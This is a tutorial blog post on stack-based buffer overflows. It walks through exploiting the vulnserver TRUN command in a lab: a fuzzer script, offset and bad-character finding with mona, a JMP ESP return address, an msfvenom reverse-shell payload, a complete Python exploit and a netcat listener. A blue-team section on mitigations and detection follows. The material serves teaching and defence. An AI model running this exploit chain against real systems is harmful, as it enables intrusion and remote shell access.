Stack-Based Buffer Overflows: From Crash to Shell

RE & Pwn
Time it takes to read this article 5 minutes.

Introduction / Overview

Stack-based buffer overflows are the canonical entry point into exploit development. They appear on the OSCP, in legacy Windows services, and in countless CTF binaries. This article walks through the full classic chain on a 32-bit Windows target: from a crash, to controlling the instruction pointer, to landing a reverse shell.

Legal / ethical disclaimer. Everything below is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized exploitation is a crime under the CFAA (US), the Computer Misuse Act (UK), and equivalent laws worldwide.

How it works / Background

When a function is called, the CPU pushes the return address onto the stack, then the function allocates local buffers below it. If the program copies attacker-controlled data into a fixed-size buffer without bounds checking (think strcpy, sprintf, gets), excess bytes spill past the buffer and overwrite adjacent stack memory — including the saved return address.

On 32-bit x86, the saved return address is what ret pops into EIP. Overwrite it with a value you control and you redirect execution. On 64-bit it is RIP, with the same principle but wider registers and stricter calling conventions (arguments in RDI/RSI/RDX/..., 16-byte stack alignment).

High addresses
+----------------------+
| saved return (EIP)   |  <-- overwrite this
+----------------------+
| saved EBP            |
+----------------------+
| local buffer[64]     |  <-- copy starts here, grows up
+----------------------+
Low addresses
Plaintext

The classic exploitation flow: confirm the crash, find the exact offset to EIP, identify a reliable ret address to redirect into your payload, remove bad characters, place shellcode, and trigger.

Prerequisites / Lab setup

  • A Windows 10 VM (or Windows 7 for the simplest case) as the target, fully isolated on a host-only network.
  • A vulnerable service — vulnserver.exe by Stephen Bradshaw is the standard teaching target.
  • A debugger on the target: x32dbg or Immunity Debugger with the mona.py plugin.
  • A Kali/attacker box with the Metasploit framework (pattern_create.rb, msfvenom, nc).

Disable ASLR/DEP on the target for the learning exercise (we cover why those matter in the defense section). For reverse engineering the binary itself, see Ghidra: getting started.

Walkthrough / PoC

1. Fuzz and confirm the crash

Send increasing buffer lengths until the service dies. A minimal fuzzer against vulnserver's TRUN command:

#!/usr/bin/env python3
import socket, sys

ip, port = "192.168.56.20", 9999
buf = b"A" * 100
while len(buf) <= 6000:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)
        s.send(b"TRUN /.:/" + buf)
        s.close()
        print(f"[+] sent {len(buf)} bytes")
        buf += b"A" * 100
    except Exception:
        print(f"[!] crash near {len(buf)} bytes")
        sys.exit(0)
Python

Watch x32dbg: when EIP reads 41414141 (AAAA), you have a textbook overflow.

2. Find the offset with a cyclic pattern

Instead of guessing, generate a non-repeating De Bruijn-style pattern so each 4-byte window is unique:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Bash

Send that pattern in place of the As, then read the value now sitting in EIP from the debugger and compute the offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
Bash

mona.py does the same inside the debugger:

!mona pattern_create 3000
!mona findmsp -distance 3000
Plaintext

Say the offset comes back as 2003. Verify by sending b"A"*2003 + b"B"*4 + b"C"*500 — EIP should read exactly 42424242. That confirms control.

3. Enumerate and remove bad characters

Some bytes break the payload (string terminators, delimiters). \x00, \x0a, and \x0d are almost always bad. Send all 256 bytes after the EIP overwrite, then compare the in-memory bytes against a clean reference:

!mona bytearray -b "\x00"
Plaintext

Send the generated bytearray in the buffer body, then:

!mona compare -f C:\mona\bytearray.bin -a <ESP_address>
Plaintext

Any byte that is mangled or truncates the buffer is "bad" and must be excluded from both the ret address and the shellcode.

4. Find a reliable ret address

Don't hardcode a stack address (it shifts). Instead, point EIP at a JMP ESP instruction inside a non-ASLR module shipped with the application — ESP already points at your payload at the moment ret fires:

!mona jmp -r esp -cpb "\x00\x0a\x0d"
Plaintext

Pick an address with no bad bytes, e.g. 0x625011AF in essfunc.dll. Remember x86 is little-endian, so it goes into the buffer as \xAF\x11\x50\x62.

5. Generate shellcode and fire

Build position-independent shellcode that avoids the bad chars:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.10 LPORT=443 \
  -f python -v shellcode -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
Bash

Assemble the final exploit. A short NOP sled (\x90) absorbs minor decoder stub jitter:

#!/usr/bin/env python3
import socket

offset    = 2003
jmp_esp   = b"\xaf\x11\x50\x62"   # 0x625011AF JMP ESP
nops      = b"\x90" * 16
shellcode = b"" # paste msfvenom output here

payload = b"A" * offset + jmp_esp + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.20", 9999))
s.recv(1024)
s.send(b"TRUN /.:/" + payload)
s.close()
Python

Start the listener first, then run the exploit:

nc -lvnp 443
Bash

If everything aligns, the saved return address points at JMP ESP, ESP points at your NOP sled, the sled slides into the decoder, the decoder unpacks the shellcode, and you catch a shell.

Mermaid diagram

Stack-Based Buffer Overflows: From Crash to Shell diagram 1

The diagram traces the dependency chain: each stage feeds the next, and skipping bad-char enumeration is the most common cause of a "perfect" exploit silently failing.

Detection & Defense (Blue Team)

Modern platforms make this exact 2005-era technique hard, but legacy and bespoke software still ships without protections. Defenders should layer the following:

Compile-time mitigations.

  • Stack canaries (-fstack-protector-strong / GCC, /GS on MSVC) place a guard value before the return address and abort if it is corrupted, defeating naive overwrites.
  • DEP / NX marks the stack non-executable, so shellcode on the stack will not run. Attackers must pivot to ROP — raising the bar significantly. Enforce it system-wide via Windows Exploit Protection (formerly EMET).
  • ASLR (/DYNAMICBASE, PIE on Linux) randomizes module bases so a hardcoded JMP ESP address fails. Ensure every loaded DLL opts in — one non-ASLR module reopens the door, exactly what mona's -r esp hunts for.
  • CFG / Control Flow Guard validates indirect call targets, breaking many redirection primitives.

Code-level fixes. Replace unbounded copies (strcpy, sprintf, gets) with bounded variants (strncpy, snprintf, fgets) and validate all input lengths. This maps to CWE-121: Stack-based Buffer Overflow and CWE-787: Out-of-bounds Write.

Detection. Monitor for service processes that crash repeatedly with access violations — fuzzing leaves a trail of 0xC0000005 exception events in the Windows Application log (Event ID 1000). EDR telemetry flagging a network-facing service spawning cmd.exe/powershell.exe, or initiating an outbound TCP connection to a non-standard port, maps to MITRE ATT&CK T1203 (Exploitation for Client Execution) and T1059 (Command and Scripting Interpreter). Shikata-ga-nai encoded payloads also carry detectable byte-pattern signatures.

Operational. Keep services patched, run them as least-privilege accounts, and place network-facing daemons behind segmentation so a compromised process cannot reach the rest of the estate. For deeper post-crash triage, see analyzing crashes with WinDbg.

Conclusion

The stack overflow chain — crash, offset, bad chars, ret address, shellcode — is the foundational skill that everything else in binary exploitation builds on. Once DEP and ASLR enter the picture, the same mental model extends into ROP chains and info leaks, which we explore in Intro to ROP chains. Master the classic case first; the modern bypasses are variations on the same theme.

References

Comments

Copied title and URL